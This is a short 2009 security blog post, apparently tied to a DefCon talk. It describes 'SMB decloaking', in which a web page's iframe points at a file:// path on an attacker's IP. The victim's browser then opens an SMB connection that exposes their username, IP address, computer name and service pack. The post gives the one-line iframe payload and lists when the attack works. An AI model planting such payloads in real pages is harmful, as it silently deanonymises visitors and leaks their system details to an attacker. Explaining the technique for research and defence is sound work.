SMB Decloaking
By: RSnack
URL: http://ha.ckers.org/blog/20090811/smb-decloaking/

Still in line with the DefCon preso, next on the list of things I need to talk about is SMB. Yeah, I already talked about SMBenum, but that's different - that is about knowing what you've got on your dive. SMB itself is a way for two computers to talk to one another. The simplest example is an iframe. Of course you need to have SMB running on both sides and they need to be able to communicate together for this to work. But the nice thing is if you've got Wireshark[1] running you can get the real username, IP address, computer name, service pack and possibly other interesting tidbits.

```
<iframe src="file:///\\123.123.123.123/"></iframe>
```

Of course for this to work several things have to be true. One, the above IP address needs to be modified to be the attacker's computer. Two, the attacker needs to be running SMB services to listen and get the information. Three, the company where the victim is connecting from must allow outbound SMB - which I'm told is only about 50%. So 50% of people running 60% of browsers (an IE variant) will be vulnerable to this. Still not terrible and isn't particularly noisy either and requires no user interaction, which is nice.

1. http://www.wireshark.org/